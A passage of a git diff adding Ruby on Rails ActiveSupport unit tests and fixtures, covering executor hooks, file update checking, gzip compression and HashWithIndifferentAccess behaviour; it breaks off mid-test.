+    hook = Class.new do
+      define_method(:run) do
+        nil
+      end
+
+      define_method(:complete) do |state|
+        nil
+      end
+    end.new
+
+    executor.register_hook(hook)
+
+    before = RubyVM.stat(:class_serial)
+    executor.wrap {}
+    executor.wrap {}
+    executor.wrap {}
+    after = RubyVM.stat(:class_serial)
+
+    assert_equal before, after
+  end
+
+  def test_separate_classes_can_wrap
+    other_executor = Class.new(ActiveSupport::Executor)
+
+    called = []
+    executor.to_run { called << :run }
+    executor.to_complete { called << :complete }
+    other_executor.to_run { called << :other_run }
+    other_executor.to_complete { called << :other_complete }
+
+    executor.wrap do
+      other_executor.wrap do
+        called << :body
+      end
+    end
+
+    assert_equal [:run, :other_run, :body, :other_complete, :complete], called
+  end
+
+  private
+    def executor
+      @executor ||= Class.new(ActiveSupport::Executor)
+    end
+end
diff --git a/activesupport/test/file_fixtures/sample.txt b/activesupport/test/file_fixtures/sample.txt
new file mode 100644
index 0000000000..0fa80e7383
--- /dev/null
+++ b/activesupport/test/file_fixtures/sample.txt
@@ -0,0 +1 @@
+sample file fixture
diff --git a/activesupport/test/file_update_checker_shared_tests.rb b/activesupport/test/file_update_checker_shared_tests.rb
new file mode 100644
index 0000000000..f8266dac06
--- /dev/null
+++ b/activesupport/test/file_update_checker_shared_tests.rb
@@ -0,0 +1,284 @@
+# frozen_string_literal: true
+
+require "fileutils"
+
+module FileUpdateCheckerSharedTests
+  extend ActiveSupport::Testing::Declarative
+  include FileUtils
+
+  def tmpdir
+    @tmpdir
+  end
+
+  def tmpfile(name)
+    File.join(tmpdir, name)
+  end
+
+  def tmpfiles
+    @tmpfiles ||= %w(foo.rb bar.rb baz.rb).map { |f| tmpfile(f) }
+  end
+
+  def run(*args)
+    capture_exceptions do
+      Dir.mktmpdir(nil, __dir__) { |dir| @tmpdir = dir; super }
+    end
+  end
+
+  test "should not execute the block if no paths are given" do
+    silence_warnings { require "listen" }
+    i = 0
+
+    checker = new_checker { i += 1 }
+
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+  end
+
+  test "should not execute the block if no files change" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+  end
+
+  test "should execute the block once when files are created" do
+    i = 0
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    touch(tmpfiles)
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should execute the block once when files are modified" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    touch(tmpfiles)
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should execute the block once when files are deleted" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    rm_f(tmpfiles)
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "updated should become true when watched files are created" do
+    i = 0
+
+    checker = new_checker(tmpfiles) { i += 1 }
+    assert !checker.updated?
+
+    touch(tmpfiles)
+    wait
+
+    assert checker.updated?
+  end
+
+  test "updated should become true when watched files are modified" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) { i += 1 }
+    assert !checker.updated?
+
+    touch(tmpfiles)
+    wait
+
+    assert checker.updated?
+  end
+
+  test "updated should become true when watched files are deleted" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) { i += 1 }
+    assert !checker.updated?
+
+    rm_f(tmpfiles)
+    wait
+
+    assert checker.updated?
+  end
+
+  test "should be robust to handle files with wrong modified time" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    now  = Time.now
+    time = Time.mktime(now.year + 1, now.month, now.day) # wrong mtime from the future
+    File.utime(time, time, tmpfiles[0])
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    touch(tmpfiles[1..-1])
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should return max_time for files with mtime = Time.at(0)" do
+    i = 0
+
+    FileUtils.touch(tmpfiles)
+
+    time = Time.at(0) # wrong mtime from the future
+    File.utime(time, time, tmpfiles[0])
+
+    checker = new_checker(tmpfiles) { i += 1 }
+
+    touch(tmpfiles[1..-1])
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should cache updated result until execute" do
+    i = 0
+
+    checker = new_checker(tmpfiles) { i += 1 }
+    assert !checker.updated?
+
+    touch(tmpfiles)
+    wait
+
+    assert checker.updated?
+    checker.execute
+    assert !checker.updated?
+  end
+
+  test "should execute the block if files change in a watched directory one extension" do
+    i = 0
+
+    checker = new_checker([], tmpdir => :rb) { i += 1 }
+
+    touch(tmpfile("foo.rb"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should execute the block if files change in a watched directory several extensions" do
+    i = 0
+
+    checker = new_checker([], tmpdir => [:rb, :txt]) { i += 1 }
+
+    touch(tmpfile("foo.rb"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+
+    touch(tmpfile("foo.txt"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 2, i
+  end
+
+  test "should not execute the block if the file extension is not watched" do
+    i = 0
+
+    checker = new_checker([], tmpdir => :txt) { i += 1 }
+
+    touch(tmpfile("foo.rb"))
+    wait
+
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+  end
+
+  test "does not assume files exist on instantiation" do
+    i = 0
+
+    non_existing = tmpfile("non_existing.rb")
+    checker = new_checker([non_existing]) { i += 1 }
+
+    touch(non_existing)
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "detects files in new subdirectories" do
+    i = 0
+
+    checker = new_checker([], tmpdir => :rb) { i += 1 }
+
+    subdir = tmpfile("subdir")
+    mkdir(subdir)
+    wait
+
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+
+    touch(File.join(subdir, "nested.rb"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "looked up extensions are inherited in subdirectories not listening to them" do
+    i = 0
+
+    subdir = tmpfile("subdir")
+    mkdir(subdir)
+
+    checker = new_checker([], tmpdir => :rb, subdir => :txt) { i += 1 }
+
+    touch(tmpfile("new.txt"))
+    wait
+
+    assert !checker.execute_if_updated
+    assert_equal 0, i
+
+    # subdir does not look for Ruby files, but its parent tmpdir does.
+    touch(File.join(subdir, "nested.rb"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+
+    touch(File.join(subdir, "nested.txt"))
+    wait
+
+    assert checker.execute_if_updated
+    assert_equal 2, i
+  end
+
+  test "initialize raises an ArgumentError if no block given" do
+    assert_raise ArgumentError do
+      new_checker([])
+    end
+  end
+end
diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb
new file mode 100644
index 0000000000..ec1df0df67
--- /dev/null
+++ b/activesupport/test/file_update_checker_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "file_update_checker_shared_tests"
+
+class FileUpdateCheckerTest < ActiveSupport::TestCase
+  include FileUpdateCheckerSharedTests
+
+  def new_checker(files = [], dirs = {}, &block)
+    ActiveSupport::FileUpdateChecker.new(files, dirs, &block)
+  end
+
+  def wait
+    # noop
+  end
+
+  def touch(files)
+    sleep 1 # let's wait a bit to ensure there's a new mtime
+    super
+  end
+end
diff --git a/activesupport/test/fixtures/autoload/another_class.rb b/activesupport/test/fixtures/autoload/another_class.rb
new file mode 100644
index 0000000000..cf38336cf8
--- /dev/null
+++ b/activesupport/test/fixtures/autoload/another_class.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Fixtures::AnotherClass
+end
diff --git a/activesupport/test/fixtures/autoload/some_class.rb b/activesupport/test/fixtures/autoload/some_class.rb
new file mode 100644
index 0000000000..ff25eb995e
--- /dev/null
+++ b/activesupport/test/fixtures/autoload/some_class.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Fixtures::Autoload::SomeClass
+end
diff --git a/activesupport/test/fixtures/xml/jdom_doctype.dtd b/activesupport/test/fixtures/xml/jdom_doctype.dtd
new file mode 100644
index 0000000000..89480496ef
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_doctype.dtd
@@ -0,0 +1 @@
+<!ENTITY a "external entity">
diff --git a/activesupport/test/fixtures/xml/jdom_entities.txt b/activesupport/test/fixtures/xml/jdom_entities.txt
new file mode 100644
index 0000000000..0337fdaa08
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_entities.txt
@@ -0,0 +1 @@
+<!ENTITY a "hello">
diff --git a/activesupport/test/fixtures/xml/jdom_include.txt b/activesupport/test/fixtures/xml/jdom_include.txt
new file mode 100644
index 0000000000..239ca3afaf
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_include.txt
@@ -0,0 +1 @@
+include me
diff --git a/activesupport/test/gzip_test.rb b/activesupport/test/gzip_test.rb
new file mode 100644
index 0000000000..05ce12fe86
--- /dev/null
+++ b/activesupport/test/gzip_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/blank"
+
+class GzipTest < ActiveSupport::TestCase
+  def test_compress_should_decompress_to_the_same_value
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World"))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::NO_COMPRESSION))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_SPEED))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_COMPRESSION))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::FILTERED))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::HUFFMAN_ONLY))
+    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, nil))
+  end
+
+  def test_compress_should_return_a_binary_string
+    compressed = ActiveSupport::Gzip.compress("")
+
+    assert_equal Encoding.find("binary"), compressed.encoding
+    assert !compressed.blank?, "a compressed blank string should not be blank"
+  end
+
+  def test_compress_should_return_gzipped_string_by_compression_level
+    source_string = "Hello World" * 100
+
+    gzipped_by_speed = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_SPEED)
+    assert_equal 1, Zlib::GzipReader.new(StringIO.new(gzipped_by_speed)).level
+
+    gzipped_by_best_compression = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_COMPRESSION)
+    assert_equal 9, Zlib::GzipReader.new(StringIO.new(gzipped_by_best_compression)).level
+
+    assert_equal true, (gzipped_by_best_compression.bytesize < gzipped_by_speed.bytesize)
+  end
+
+  def test_decompress_checks_crc
+    compressed = ActiveSupport::Gzip.compress("Hello World")
+    first_crc_byte_index = compressed.bytesize - 8
+    compressed.setbyte(first_crc_byte_index, compressed.getbyte(first_crc_byte_index) ^ 0xff)
+
+    assert_raises(Zlib::GzipFile::CRCError) do
+      ActiveSupport::Gzip.decompress(compressed)
+    end
+  end
+end
diff --git a/activesupport/test/hash_with_indifferent_access_test.rb b/activesupport/test/hash_with_indifferent_access_test.rb
new file mode 100644
index 0000000000..b3788ee65c
--- /dev/null
+++ b/activesupport/test/hash_with_indifferent_access_test.rb
@@ -0,0 +1,773 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash"
+require "bigdecimal"
+require "active_support/core_ext/string/access"
+require "active_support/ordered_hash"
+require "active_support/core_ext/object/conversions"
+require "active_support/core_ext/object/deep_dup"
+require "active_support/inflections"
+
+class HashWithIndifferentAccessTest < ActiveSupport::TestCase
+  HashWithIndifferentAccess = ActiveSupport::HashWithIndifferentAccess
+
+  class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
+  end
+
+  class SubclassingArray < Array
+  end
+
+  class SubclassingHash < Hash
+  end
+
+  class NonIndifferentHash < Hash
+    def nested_under_indifferent_access
+      self
+    end
+  end
+
+  class HashByConversion
+    def initialize(hash)
+      @hash = hash
+    end
+
+    def to_hash
+      @hash
+    end
+  end
+
+  def setup
+    @strings = { "a" => 1, "b" => 2 }
+    @nested_strings = { "a" => { "b" => { "c" => 3 } } }
+    @symbols = { a: 1, b: 2 }
+    @nested_symbols = { a: { b: { c: 3 } } }
+    @mixed = { :a => 1, "b" => 2 }
+    @nested_mixed = { "a" => { b: { "c" => 3 } } }
+    @integers = { 0 => 1, 1 => 2 }
+    @nested_integers = { 0 => { 1 => { 2 => 3 } } }
+    @illegal_symbols = { [] => 3 }
+    @nested_illegal_symbols = { [] => { [] => 3 } }
+  end
+
+  def test_symbolize_keys_for_hash_with_indifferent_access
+    assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
+  end
+
+  def test_deep_symbolize_keys_for_hash_with_indifferent_access
+    assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
+  end
+
+  def test_symbolize_keys_bang_for_hash_with_indifferent_access
+    assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
+    assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
+    assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
+    assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+    assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
+    assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
+    assert_equal @integers, @integers.with_indifferent_access.symbolize_keys
+    assert_raise(NoMethodError) { @integers.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_deep_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
+    assert_equal @nested_integers, @nested_integers.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_integers.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_stringify_keys_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
+    assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
+    assert_equal @strings, @strings.with_indifferent_access.stringify_keys
+    assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
+  end
+
+  def test_deep_stringify_keys_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
+  end
+
+  def test_stringify_keys_bang_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
+  end
+
+  def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
+  end
+
+  def test_nested_under_indifferent_access
+    foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
+
+    foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of NonIndifferentHash, foo["foo"]
+
+    foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of IndifferentHash, foo["foo"]
+  end
+
+  def test_indifferent_assorted
+    @strings = @strings.with_indifferent_access
+    @symbols = @symbols.with_indifferent_access
+    @mixed   = @mixed.with_indifferent_access
+
+    assert_equal "a", @strings.__send__(:convert_key, :a)
+
+    assert_equal 1, @strings.fetch("a")
+    assert_equal 1, @strings.fetch(:a.to_s)
+    assert_equal 1, @strings.fetch(:a)
+
+    hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
+    method_map = { '[]': 1, fetch: 1, values_at: [1],
+                   has_key?: true, include?: true, key?: true,
+                   member?: true }
+
+    hashes.each do |name, hash|
+      method_map.sort_by(&:to_s).each do |meth, expected|
+        assert_equal(expected, hash.__send__(meth, "a"),
+                     "Calling #{name}.#{meth} 'a'")
+        assert_equal(expected, hash.__send__(meth, :a),
+                     "Calling #{name}.#{meth} :a")
+      end
+    end
+
+    assert_equal [1, 2], @strings.values_at("a", "b")
+    assert_equal [1, 2], @strings.values_at(:a, :b)
+    assert_equal [1, 2], @symbols.values_at("a", "b")
+    assert_equal [1, 2], @symbols.values_at(:a, :b)
+    assert_equal [1, 2], @mixed.values_at("a", "b")
+    assert_equal [1, 2], @mixed.values_at(:a, :b)
+  end
+
+  def test_indifferent_fetch_values
+    skip unless Hash.method_defined?(:fetch_values)
+
+    @mixed = @mixed.with_indifferent_access
+
+    assert_equal [1, 2], @mixed.fetch_values("a", "b")
+    assert_equal [1, 2], @mixed.fetch_values(:a, :b)
+    assert_equal [1, 2], @mixed.fetch_values(:a, "b")
+    assert_equal [1, "c"], @mixed.fetch_values(:a, :c) { |key| key }
+    assert_raise(KeyError) { @mixed.fetch_values(:a, :c) }
+  end
+
+  def test_indifferent_reading
+    hash = HashWithIndifferentAccess.new
+    hash["a"] = 1
+    hash["b"] = true
+    hash["c"] = false
+    hash["d"] = nil
+
+    assert_equal 1, hash[:a]
+    assert_equal true, hash[:b]
+    assert_equal false, hash[:c]
+    assert_nil hash[:d]
+    assert_nil hash[:e]
+  end
+
+  def test_indifferent_reading_with_nonnil_default
+    hash = HashWithIndifferentAccess.new(1)
+    hash["a"] = 1
+    hash["b"] = true
+    hash["c"] = false
+    hash["d"] = nil
+
+    assert_equal 1, hash[:a]
+    assert_equal true, hash[:b]
+    assert_equal false, hash[:c]
+    assert_nil hash[:d]
+    assert_equal 1, hash[:e]
+  end
+
+  def test_indifferent_writing
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 1
+    hash["b"] = 2
+    hash[3] = 3
+
+    assert_equal 1, hash["a"]
+    assert_equal 2, hash["b"]
+    assert_equal 1, hash[:a]
+    assert_equal 2, hash[:b]
+    assert_equal 3, hash[3]
+  end
+
+  def test_indifferent_update
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = "a"
+    hash["b"] = "b"
+
+    updated_with_strings = hash.update(@strings)
+    updated_with_symbols = hash.update(@symbols)
+    updated_with_mixed = hash.update(@mixed)
+
+    assert_equal 1, updated_with_strings[:a]
+    assert_equal 1, updated_with_strings["a"]
+    assert_equal 2, updated_with_strings["b"]
+
+    assert_equal 1, updated_with_symbols[:a]
+    assert_equal 2, updated_with_symbols["b"]
+    assert_equal 2, updated_with_symbols[:b]
+
+    assert_equal 1, updated_with_mixed[:a]
+    assert_equal 2, updated_with_mixed["b"]
+
+    assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
+  end
+
+  def test_update_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash.update HashByConversion.new(a: 1)
+    assert_equal 1, hash["a"]
+  end
+
+  def test_indifferent_merging
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = "failure"
+    hash["b"] = "failure"
+
+    other = { "a" => 1, :b => 2 }
+
+    merged = hash.merge(other)
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 1, merged[:a]
+    assert_equal 2, merged["b"]
+
+    hash.update(other)
+
+    assert_equal 1, hash[:a]
+    assert_equal 2, hash["b"]
+  end
+
+  def test_merge_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    merged = hash.merge HashByConversion.new(a: 1)
+    assert_equal 1, merged["a"]
+  end
+
+  def test_indifferent_replace
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(b: 12)
+
+    assert hash.key?("b")
+    assert !hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
+  def test_replace_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(HashByConversion.new(b: 12))
+
+    assert hash.key?("b")
+    assert !hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
+  def test_indifferent_merging_with_block
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 1
+    hash["b"] = 3
+
+    other = { "a" => 4, :b => 2, "c" => 10 }
+
+    merged = hash.merge(other) { |key, old, new| old > new ? old : new }
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 4, merged[:a]
+    assert_equal 3, merged["b"]
+    assert_equal 10, merged[:c]
+
+    other_indifferent = HashWithIndifferentAccess.new("a" => 9, :b => 2)
+
+    merged = hash.merge(other_indifferent) { |key, old, new| old + new }
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 10, merged[:a]
+    assert_equal 5, merged[:b]
+  end
+
+  def test_indifferent_reverse_merging
+    hash = HashWithIndifferentAccess.new key: :old_value
+    hash.reverse_merge! key: :new_value
+    assert_equal :old_value, hash[:key]
+
+    hash = HashWithIndifferentAccess.new("some" => "value", "other" => "value")
+    hash.reverse_merge!(some: "noclobber", another: "clobber")
+    assert_equal "value", hash[:some]
+    assert_equal "clobber", hash[:another]
+  end
+
+  def test_indifferent_with_defaults_aliases_reverse_merge
+    hash = HashWithIndifferentAccess.new key: :old_value
+    actual = hash.with_defaults key: :new_value
+    assert_equal :old_value, actual[:key]
+
+    hash = HashWithIndifferentAccess.new key: :old_value
+    hash.with_defaults! key: :new_value
+    assert_equal :old_value, hash[:key]
+  end
+
+  def test_indifferent_deleting
+    get_hash = proc { { a: "foo" }.with_indifferent_access }
+    hash = get_hash.call
+    assert_equal "foo", hash.delete(:a)
+    assert_nil hash.delete(:a)
+    hash = get_hash.call
+    assert_equal "foo", hash.delete("a")
+    assert_nil hash.delete("a")
+  end
+
+  def test_indifferent_select
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| v == 1 }
+
+    assert_equal({ "a" => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_returns_enumerator
+    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).select
+    assert_instance_of Enumerator, enum
+  end
+
+  def test_indifferent_select_returns_a_hash_when_unchanged
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| true }
+
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.select! { |k, v| v == 1 }
+
+    assert_equal({ "a" => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_reject
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject { |k, v| v != 1 }
+
+    assert_equal({ "a" => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_reject_returns_enumerator
+    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject
+    assert_instance_of Enumerator, enum
+  end
+
+  def test_indifferent_reject_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.reject! { |k, v| v != 1 }
+
+    assert_equal({ "a" => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_compact
+    hash_contain_nil_value = @strings.merge("z" => nil)
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_contain_nil_value)
+    compacted_hash = hash.compact
+
+    assert_equal(@strings, compacted_hash)
+    assert_equal(hash_contain_nil_value, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, compacted_hash
+
+    empty_hash = ActiveSupport::HashWithIndifferentAccess.new
+    compacted_hash = empty_hash.compact
+
+    assert_equal compacted_hash, empty_hash
+
+    non_empty_hash = ActiveSupport::HashWithIndifferentAccess.new(foo: :bar)
+    compacted_hash = non_empty_hash.compact
+
+    assert_equal compacted_hash, non_empty_hash
+  end
+
+  def test_indifferent_to_hash
+    # Should convert to a Hash with String keys.
+    assert_equal @strings, @mixed.with_indifferent_access.to_hash
+
+    # Should preserve the default value.
+    mixed_with_default = @mixed.dup
+    mixed_with_default.default = "1234"
+    roundtrip = mixed_with_default.with_indifferent_access.to_hash
+    assert_equal @strings, roundtrip
+    assert_equal "1234", roundtrip.default
+
+    # Ensure nested hashes are not HashWithIndiffereneAccess
+    new_to_hash = @nested_mixed.with_indifferent_access.to_hash
+    assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
+    assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
+    assert_not new_to_hash["a"]["b"].instance_of?(HashWithIndifferentAccess)
+  end
+
+  def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
+    hash = HashWithIndifferentAccess.new { |h, k| h[k] = [] }
+    hash[:a] << 1
+
+    assert_equal [1], hash[:a]
+  end
+
+  def test_with_indifferent_access_has_no_side_effects_on_existing_hash
+    hash = { content: [{ :foo => :bar, "bar" => "baz" }] }
+    hash.with_indifferent_access
+
+    assert_equal [:foo, "bar"], hash[:content].first.keys
+  end
+
+  def test_indifferent_hash_with_array_of_hashes
+    hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] } }.with_indifferent_access
+    assert_equal "1", hash[:urls][:url].first[:address]
+
+    hash = hash.to_hash
+    assert_not hash.instance_of?(HashWithIndifferentAccess)
+    assert_not hash["urls"].instance_of?(HashWithIndifferentAccess)
+    assert_not hash["urls"]["url"].first.instance_of?(HashWithIndifferentAccess)
+  end
+
+  def test_should_preserve_array_subclass_when_value_is_array
+    array = SubclassingArray.new
+    array << { "address" => "1" }
+    hash = { "urls" => { "url" => array } }.with_indifferent_access
+    assert_equal SubclassingArray, hash[:urls][:url].class
+  end
+
+  def test_should_preserve_array_class_when_hash_value_is_frozen_array
+    array = SubclassingArray.new
+    array << { "address" => "1" }
+    hash = { "urls" => { "url" => array.freeze } }.with_indifferent_access
+    assert_equal SubclassingArray, hash[:urls][:url].class
+  end
+
+  def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h[:first] = 1
+    h = h.stringify_keys
+    assert_equal 1, h["first"]
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h = h.symbolize_keys
+    assert_equal 1, h[:first]
+  end
+
+  def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h[:first] = 1
+    h = h.deep_stringify_keys
+    assert_equal 1, h["first"]
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h = h.deep_symbolize_keys
+    assert_equal 1, h[:first]
+  end
+
+  def test_to_options_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h.to_options!
+    assert_equal 1, h["first"]
+  end
+
+  def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
+    h = HashWithIndifferentAccess.new(a: { b: "b" })
+    dup = h.dup
+
+    dup[:a][:c] = "c"
+    assert_equal "c", h[:a][:c]
+  end
+
+  def test_indifferent_sub_hashes
+    h = { "user" => { "id" => 5 } }.with_indifferent_access
